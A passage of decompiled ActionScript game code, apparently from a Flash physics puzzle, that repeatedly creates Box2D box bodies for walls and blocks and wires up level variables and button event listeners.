dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 1;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 1;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
addEventListener(Event.ENTER_FRAME, game_f2);
}
public function lev3_5_f(_arg1:MouseEvent){
gotoAndStop("loc21");
}
public function dev2_nav_f2(_arg1:MouseEvent){
dev2.gotoAndStop(2);
}
public function dev2_nav_f3(_arg1:MouseEvent){
pomoc_cl.visible = false;
pomoc_cl2.visible = false;
pomoc_cl3.visible = false;
pomoc_cl2.visible = true;
}
function frame43(){
cel = 4;
kol_cel = cel;
kol_hero = 10;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 50;
pos_hero_y = 226;
i = 1;
while (i <= 65) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 23;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
i = 1;
while (i <= 7) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 10;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 10;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 10;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 10;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 10;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 10;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 1;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 1;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 1;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 1;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 1;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 1;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 7;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
dim15_def = new b2BodyDef();
dim15_sh = new b2PolygonDef();
dim15_def.position.Set((dim15_cl.x / 30), (dim15_cl.y / 30));
dim15_sh.SetAsBox(((dim15_cl.width / 2) / 30), ((dim15_cl.height / 2) / 30));
dim15_def.userData = dim15_cl;
dim15_sh.density = 1;
dim15_sh.friction = 1;
dim15_sh.restitution = 0.1;
dim15 = world.CreateBody(dim15_def);
dim15.CreateShape(dim15_sh);
dim15.SetMassFromShapes();
dim16_def = new b2BodyDef();
dim16_sh = new b2PolygonDef();
dim16_def.position.Set((dim16_cl.x / 30), (dim16_cl.y / 30));
dim16_sh.SetAsBox(((dim16_cl.width / 2) / 30), ((dim16_cl.height / 2) / 30));
dim16_def.userData = dim16_cl;
dim16_sh.density = 7;
dim16_sh.friction = 1;
dim16_sh.restitution = 0.1;
dim16 = world.CreateBody(dim16_def);
dim16.CreateShape(dim16_sh);
dim16.SetMassFromShapes();
dim17_def = new b2BodyDef();
dim17_sh = new b2PolygonDef();
dim17_def.position.Set((dim17_cl.x / 30), (dim17_cl.y / 30));
dim17_sh.SetAsBox(((dim17_cl.width / 2) / 30), ((dim17_cl.height / 2) / 30));
dim17_def.userData = dim17_cl;
dim17_sh.density = 1;
dim17_sh.friction = 1;
dim17_sh.restitution = 0.1;
dim17 = world.CreateBody(dim17_def);
dim17.CreateShape(dim17_sh);
dim17.SetMassFromShapes();
dim18_def = new b2BodyDef();
dim18_sh = new b2PolygonDef();
dim18_def.position.Set((dim18_cl.x / 30), (dim18_cl.y / 30));
dim18_sh.SetAsBox(((dim18_cl.width / 2) / 30), ((dim18_cl.height / 2) / 30));
dim18_def.userData = dim18_cl;
dim18_sh.density = 1;
dim18_sh.friction = 1;
dim18_sh.restitution = 0.1;
dim18 = world.CreateBody(dim18_def);
dim18.CreateShape(dim18_sh);
dim18.SetMassFromShapes();
dim19_def = new b2BodyDef();
dim19_sh = new b2PolygonDef();
dim19_def.position.Set((dim19_cl.x / 30), (dim19_cl.y / 30));
dim19_sh.SetAsBox(((dim19_cl.width / 2) / 30), ((dim19_cl.height / 2) / 30));
dim19_def.userData = dim19_cl;
dim19_sh.density = 1;
dim19_sh.friction = 1;
dim19_sh.restitution = 0.1;
dim19 = world.CreateBody(dim19_def);
dim19.CreateShape(dim19_sh);
dim19.SetMassFromShapes();
dim20_def = new b2BodyDef();
dim20_sh = new b2PolygonDef();
dim20_def.position.Set((dim20_cl.x / 30), (dim20_cl.y / 30));
dim20_sh.SetAsBox(((dim20_cl.width / 2) / 30), ((dim20_cl.height / 2) / 30));
dim20_def.userData = dim20_cl;
dim20_sh.density = 1;
dim20_sh.friction = 1;
dim20_sh.restitution = 0.1;
dim20 = world.CreateBody(dim20_def);
dim20.CreateShape(dim20_sh);
dim20.SetMassFromShapes();
dim21_def = new b2BodyDef();
dim21_sh = new b2PolygonDef();
dim21_def.position.Set((dim21_cl.x / 30), (dim21_cl.y / 30));
dim21_sh.SetAsBox(((dim21_cl.width / 2) / 30), ((dim21_cl.height / 2) / 30));
dim21_def.userData = dim21_cl;
dim21_sh.density = 1;
dim21_sh.friction = 1;
dim21_sh.restitution = 0.1;
dim21 = world.CreateBody(dim21_def);
dim21.CreateShape(dim21_sh);
dim21.SetMassFromShapes();
dim22_def = new b2BodyDef();
dim22_sh = new b2PolygonDef();
dim22_def.position.Set((dim22_cl.x / 30), (dim22_cl.y / 30));
dim22_sh.SetAsBox(((dim22_cl.width / 2) / 30), ((dim22_cl.height / 2) / 30));
dim22_def.userData = dim22_cl;
dim22_sh.density = 1;
dim22_sh.friction = 1;
dim22_sh.restitution = 0.1;
dim22 = world.CreateBody(dim22_def);
dim22.CreateShape(dim22_sh);
dim22.SetMassFromShapes();
dim23_def = new b2BodyDef();
dim23_sh = new b2PolygonDef();
dim23_def.position.Set((dim23_cl.x / 30), (dim23_cl.y / 30));
dim23_sh.SetAsBox(((dim23_cl.width / 2) / 30), ((dim23_cl.height / 2) / 30));
dim23_def.userData = dim23_cl;
dim23_sh.density = 1;
dim23_sh.friction = 1;
dim23_sh.restitution = 0.1;
dim23 = world.CreateBody(dim23_def);
dim23.CreateShape(dim23_sh);
dim23.SetMassFromShapes();
dim24_def = new b2BodyDef();
dim24_sh = new b2PolygonDef();
dim24_def.position.Set((dim24_cl.x / 30), (dim24_cl.y / 30));
dim24_sh.SetAsBox(((dim24_cl.width / 2) / 30), ((dim24_cl.height / 2) / 30));
dim24_def.userData = dim24_cl;
dim24_sh.density = 1;
dim24_sh.friction = 1;
dim24_sh.restitution = 0.1;
dim24 = world.CreateBody(dim24_def);
dim24.CreateShape(dim24_sh);
dim24.SetMassFromShapes();
dim25_def = new b2BodyDef();
dim25_sh = new b2PolygonDef();
dim25_def.position.Set((dim25_cl.x / 30), (dim25_cl.y / 30));
dim25_sh.SetAsBox(((dim25_cl.width / 2) / 30), ((dim25_cl.height / 2) / 30));
dim25_def.userData = dim25_cl;
dim25_sh.density = 1;
dim25_sh.friction = 1;
dim25_sh.restitution = 0.1;
dim25 = world.CreateBody(dim25_def);
dim25.CreateShape(dim25_sh);
dim25.SetMassFromShapes();
dim26_def = new b2BodyDef();
dim26_sh = new b2PolygonDef();
dim26_def.position.Set((dim26_cl.x / 30), (dim26_cl.y / 30));
dim26_sh.SetAsBox(((dim26_cl.width / 2) / 30), ((dim26_cl.height / 2) / 30));
dim26_def.userData = dim26_cl;
dim26_sh.density = 1;
dim26_sh.friction = 1;
dim26_sh.restitution = 0.1;
dim26 = world.CreateBody(dim26_def);
dim26.CreateShape(dim26_sh);
dim26.SetMassFromShapes();
dim27_def = new b2BodyDef();
dim27_sh = new b2PolygonDef();
dim27_def.position.Set((dim27_cl.x / 30), (dim27_cl.y / 30));
dim27_sh.SetAsBox(((dim27_cl.width / 2) / 30), ((dim27_cl.height / 2) / 30));
dim27_def.userData = dim27_cl;
dim27_sh.density = 1;
dim27_sh.friction = 1;
dim27_sh.restitution = 0.1;
dim27 = world.CreateBody(dim27_def);
dim27.CreateShape(dim27_sh);
dim27.SetMassFromShapes();
dim28_def = new b2BodyDef();
dim28_sh = new b2PolygonDef();
dim28_def.position.Set((dim28_cl.x / 30), (dim28_cl.y / 30));
dim28_sh.SetAsBox(((dim28_cl.width / 2) / 30), ((dim28_cl.height / 2) / 30));
dim28_def.userData = dim28_cl;
dim28_sh.density = 1;
dim28_sh.friction = 1;
dim28_sh.restitution = 0.1;
dim28 = world.CreateBody(dim28_def);
dim28.CreateShape(dim28_sh);
dim28.SetMassFromShapes();
dim29_def = new b2BodyDef();
dim29_sh = new b2PolygonDef();
dim29_def.position.Set((dim29_cl.x / 30), (dim29_cl.y / 30));
dim29_sh.SetAsBox(((dim29_cl.width / 2) / 30), ((dim29_cl.height / 2) / 30));
dim29_def.userData = dim29_cl;
dim29_sh.density = 1;
dim29_sh.friction = 1;
dim29_sh.restitution = 0.1;
dim29 = world.CreateBody(dim29_def);
dim29.CreateShape(dim29_sh);
dim29.SetMassFromShapes();
dim30_def = new b2BodyDef();
dim30_sh = new b2PolygonDef();
dim30_def.position.Set((dim30_cl.x / 30), (dim30_cl.y / 30));
dim30_sh.SetAsBox(((dim30_cl.width / 2) / 30), ((dim30_cl.height / 2) / 30));
dim30_def.userData = dim30_cl;
dim30_sh.density = 1;
dim30_sh.friction = 1;
dim30_sh.restitution = 0.1;
dim30 = world.CreateBody(dim30_def);
dim30.CreateShape(dim30_sh);
dim30.SetMassFromShapes();
dim31_def = new b2BodyDef();
dim31_sh = new b2PolygonDef();
dim31_def.position.Set((dim31_cl.x / 30), (dim31_cl.y / 30));
dim31_sh.SetAsBox(((dim31_cl.width / 2) / 30), ((dim31_cl.height / 2) / 30));
dim31_def.userData = dim31_cl;
dim31_sh.density = 1;
dim31_sh.friction = 1;
dim31_sh.restitution = 0.1;
dim31 = world.CreateBody(dim31_def);
dim31.CreateShape(dim31_sh);
dim31.SetMassFromShapes();
dim32_def = new b2BodyDef();
dim32_sh = new b2PolygonDef();
dim32_def.position.Set((dim32_cl.x / 30), (dim32_cl.y / 30));
dim32_sh.SetAsBox(((dim32_cl.width / 2) / 30), ((dim32_cl.height / 2) / 30));
dim32_def.userData = dim32_cl;
dim32_sh.density = 1;
dim32_sh.friction = 1;
dim32_sh.restitution = 0.1;
dim32 = world.CreateBody(dim32_def);
dim32.CreateShape(dim32_sh);
dim32.SetMassFromShapes();
dim33_def = new b2BodyDef();
dim33_sh = new b2PolygonDef();
dim33_def.position.Set((dim33_cl.x / 30), (dim33_cl.y / 30));
dim33_sh.SetAsBox(((dim33_cl.width / 2) / 30), ((dim33_cl.height / 2) / 30));
dim33_def.userData = dim33_cl;
dim33_sh.density = 1;
dim33_sh.friction = 1;
dim33_sh.restitution = 0.1;
dim33 = world.CreateBody(dim33_def);
dim33.CreateShape(dim33_sh);
dim33.SetMassFromShapes();
dim34_def = new b2BodyDef();
dim34_sh = new b2PolygonDef();
dim34_def.position.Set((dim34_cl.x / 30), (dim34_cl.y / 30));
dim34_sh.SetAsBox(((dim34_cl.width / 2) / 30), ((dim34_cl.height / 2) / 30));
dim34_def.userData = dim34_cl;
dim34_sh.density = 1;
dim34_sh.friction = 1;
dim34_sh.restitution = 0.1;
dim34 = world.CreateBody(dim34_def);
dim34.CreateShape(dim34_sh);
dim34.SetMassFromShapes();
dim35_def = new b2BodyDef();
dim35_sh = new b2PolygonDef();
dim35_def.position.Set((dim35_cl.x / 30), (dim35_cl.y / 30));
dim35_sh.SetAsBox(((dim35_cl.width / 2) / 30), ((dim35_cl.height / 2) / 30));
dim35_def.userData = dim35_cl;
dim35_sh.density = 1;
dim35_sh.friction = 1;
dim35_sh.restitution = 0.1;
dim35 = world.CreateBody(dim35_def);
dim35.CreateShape(dim35_sh);
dim35.SetMassFromShapes();
dim36_def = new b2BodyDef();
dim36_sh = new b2PolygonDef();
dim36_def.position.Set((dim36_cl.x / 30), (dim36_cl.y / 30));
dim36_sh.SetAsBox(((dim36_cl.width / 2) / 30), ((dim36_cl.height / 2) / 30));
dim36_def.userData = dim36_cl;
dim36_sh.density = 10;
dim36_sh.friction = 1;
dim36_sh.restitution = 0.1;
dim36 = world.CreateBody(dim36_def);
dim36.CreateShape(dim36_sh);
dim36.SetMassFromShapes();
dim37_def = new b2BodyDef();
dim37_sh = new b2PolygonDef();
dim37_def.position.Set((dim37_cl.x / 30), (dim37_cl.y / 30));
dim37_sh.SetAsBox(((dim37_cl.width / 2) / 30), ((dim37_cl.height / 2) / 30));
dim37_def.userData = dim37_cl;
dim37_sh.density = 10;
dim37_sh.friction = 1;
dim37_sh.restitution = 0.1;
dim37 = world.CreateBody(dim37_def);
dim37.CreateShape(dim37_sh);
dim37.SetMassFromShapes();
dim38_def = new b2BodyDef();
dim38_sh = new b2PolygonDef();
dim38_def.position.Set((dim38_cl.x / 30), (dim38_cl.y / 30));
dim38_sh.SetAsBox(((dim38_cl.width / 2) / 30), ((dim38_cl.height / 2) / 30));
dim38_def.userData = dim38_cl;
dim38_sh.density = 10;
dim38_sh.friction = 1;
dim38_sh.restitution = 0.1;
dim38 = world.CreateBody(dim38_def);
dim38.CreateShape(dim38_sh);
dim38.SetMassFromShapes();
dim39_def = new b2BodyDef();
dim39_sh = new b2PolygonDef();
dim39_def.position.Set((dim39_cl.x / 30), (dim39_cl.y / 30));
dim39_sh.SetAsBox(((dim39_cl.width / 2) / 30), ((dim39_cl.height / 2) / 30));
dim39_def.userData = dim39_cl;
dim39_sh.density = 10;
dim39_sh.friction = 1;
dim39_sh.restitution = 0.1;
dim39 = world.CreateBody(dim39_def);
dim39.CreateShape(dim39_sh);
dim39.SetMassFromShapes();
dim40_def = new b2BodyDef();
dim40_sh = new b2PolygonDef();
dim40_def.position.Set((dim40_cl.x / 30), (dim40_cl.y / 30));
dim40_sh.SetAsBox(((dim40_cl.width / 2) / 30), ((dim40_cl.height / 2) / 30));
dim40_def.userData = dim40_cl;
dim40_sh.density = 10;
dim40_sh.friction = 1;
dim40_sh.restitution = 0.1;
dim40 = world.CreateBody(dim40_def);
dim40.CreateShape(dim40_sh);
dim40.SetMassFromShapes();
dim41_def = new b2BodyDef();
dim41_sh = new b2PolygonDef();
dim41_def.position.Set((dim41_cl.x / 30), (dim41_cl.y / 30));
dim41_sh.SetAsBox(((dim41_cl.width / 2) / 30), ((dim41_cl.height / 2) / 30));
dim41_def.userData = dim41_cl;
dim41_sh.density = 10;
dim41_sh.friction = 1;
dim41_sh.restitution = 0.1;
dim41 = world.CreateBody(dim41_def);
dim41.CreateShape(dim41_sh);
dim41.SetMassFromShapes();
dim42_def = new b2BodyDef();
dim42_sh = new b2PolygonDef();
dim42_def.position.Set((dim42_cl.x / 30), (dim42_cl.y / 30));
dim42_sh.SetAsBox(((dim42_cl.width / 2) / 30), ((dim42_cl.height / 2) / 30));
dim42_def.userData = dim42_cl;
dim42_sh.density = 10;
dim42_sh.friction = 1;
dim42_sh.restitution = 0.1;
dim42 = world.CreateBody(dim42_def);
dim42.CreateShape(dim42_sh);
dim42.SetMassFromShapes();
dim43_def = new b2BodyDef();
dim43_sh = new b2PolygonDef();
dim43_def.position.Set((dim43_cl.x / 30), (dim43_cl.y / 30));
dim43_sh.SetAsBox(((dim43_cl.width / 2) / 30), ((dim43_cl.height / 2) / 30));
dim43_def.userData = dim43_cl;
dim43_sh.density = 10;
dim43_sh.friction = 1;
dim43_sh.restitution = 0.1;
dim43 = world.CreateBody(dim43_def);
dim43.CreateShape(dim43_sh);
dim43.SetMassFromShapes();
dim44_def = new b2BodyDef();
dim44_sh = new b2PolygonDef();
dim44_def.position.Set((dim44_cl.x / 30), (dim44_cl.y / 30));
dim44_sh.SetAsBox(((dim44_cl.width / 2) / 30), ((dim44_cl.height / 2) / 30));
dim44_def.userData = dim44_cl;
dim44_sh.density = 10;
dim44_sh.friction = 1;
dim44_sh.restitution = 0.1;
dim44 = world.CreateBody(dim44_def);
dim44.CreateShape(dim44_sh);
dim44.SetMassFromShapes();
dim45_def = new b2BodyDef();
dim45_sh = new b2PolygonDef();
dim45_def.position.Set((dim45_cl.x / 30), (dim45_cl.y / 30));
dim45_sh.SetAsBox(((dim45_cl.width / 2) / 30), ((dim45_cl.height / 2) / 30));
dim45_def.userData = dim45_cl;
dim45_sh.density = 10;
dim45_sh.friction = 1;
dim45_sh.restitution = 0.1;
dim45 = world.CreateBody(dim45_def);
dim45.CreateShape(dim45_sh);
dim45.SetMassFromShapes();
dim46_def = new b2BodyDef();
dim46_sh = new b2PolygonDef();
dim46_def.position.Set((dim46_cl.x / 30), (dim46_cl.y / 30));
dim46_sh.SetAsBox(((dim46_cl.width / 2) / 30), ((dim46_cl.height / 2) / 30));
dim46_def.userData = dim46_cl;
dim46_sh.density = 10;
dim46_sh.friction = 1;
dim46_sh.restitution = 0.1;
dim46 = world.CreateBody(dim46_def);
dim46.CreateShape(dim46_sh);
dim46.SetMassFromShapes();
dim47_def = new b2BodyDef();
dim47_sh = new b2PolygonDef();
dim47_def.position.Set((dim47_cl.x / 30), (dim47_cl.y / 30));
dim47_sh.SetAsBox(((dim47_cl.width / 2) / 30), ((dim47_cl.height / 2) / 30));
dim47_def.userData = dim47_cl;
dim47_sh.density = 10;
dim47_sh.friction = 1;
dim47_sh.restitution = 0.1;
dim47 = world.CreateBody(dim47_def);
dim47.CreateShape(dim47_sh);
dim47.SetMassFromShapes();
dim48_def = new b2BodyDef();
dim48_sh = new b2PolygonDef();
dim48_def.position.Set((dim48_cl.x / 30), (dim48_cl.y / 30));
dim48_sh.SetAsBox(((dim48_cl.width / 2) / 30), ((dim48_cl.height / 2) / 30));
dim48_def.userData = dim48_cl;
dim48_sh.density = 10;
dim48_sh.friction = 1;
dim48_sh.restitution = 0.1;
dim48 = world.CreateBody(dim48_def);
dim48.CreateShape(dim48_sh);
dim48.SetMassFromShapes();
dim49_def = new b2BodyDef();
dim49_sh = new b2PolygonDef();
dim49_def.position.Set((dim49_cl.x / 30), (dim49_cl.y / 30));
dim49_sh.SetAsBox(((dim49_cl.width / 2) / 30), ((dim49_cl.height / 2) / 30));
dim49_def.userData = dim49_cl;
dim49_sh.density = 10;
dim49_sh.friction = 1;
dim49_sh.restitution = 0.1;
dim49 = world.CreateBody(dim49_def);
dim49.CreateShape(dim49_sh);
dim49.SetMassFromShapes();
dim50_def = new b2BodyDef();
dim50_sh = new b2PolygonDef();
dim50_def.position.Set((dim50_cl.x / 30), (dim50_cl.y / 30));
dim50_sh.SetAsBox(((dim50_cl.width / 2) / 30), ((dim50_cl.height / 2) / 30));
dim50_def.userData = dim50_cl;
dim50_sh.density = 10;
dim50_sh.friction = 1;
dim50_sh.restitution = 0.1;
dim50 = world.CreateBody(dim50_def);
dim50.CreateShape(dim50_sh);
dim50.SetMassFromShapes();
dim51_def = new b2BodyDef();
dim51_sh = new b2PolygonDef();
dim51_def.position.Set((dim51_cl.x / 30), (dim51_cl.y / 30));
dim51_sh.SetAsBox(((dim51_cl.width / 2) / 30), ((dim51_cl.height / 2) / 30));
dim51_def.userData = dim51_cl;
dim51_sh.density = 10;
dim51_sh.friction = 1;
dim51_sh.restitution = 0.1;
dim51 = world.CreateBody(dim51_def);
dim51.CreateShape(dim51_sh);
dim51.SetMassFromShapes();
dim52_def = new b2BodyDef();
dim52_sh = new b2PolygonDef();
dim52_def.position.Set((dim52_cl.x / 30), (dim52_cl.y / 30));
dim52_sh.SetAsBox(((dim52_cl.width / 2) / 30), ((dim52_cl.height / 2) / 30));
dim52_def.userData = dim52_cl;
dim52_sh.density = 10;
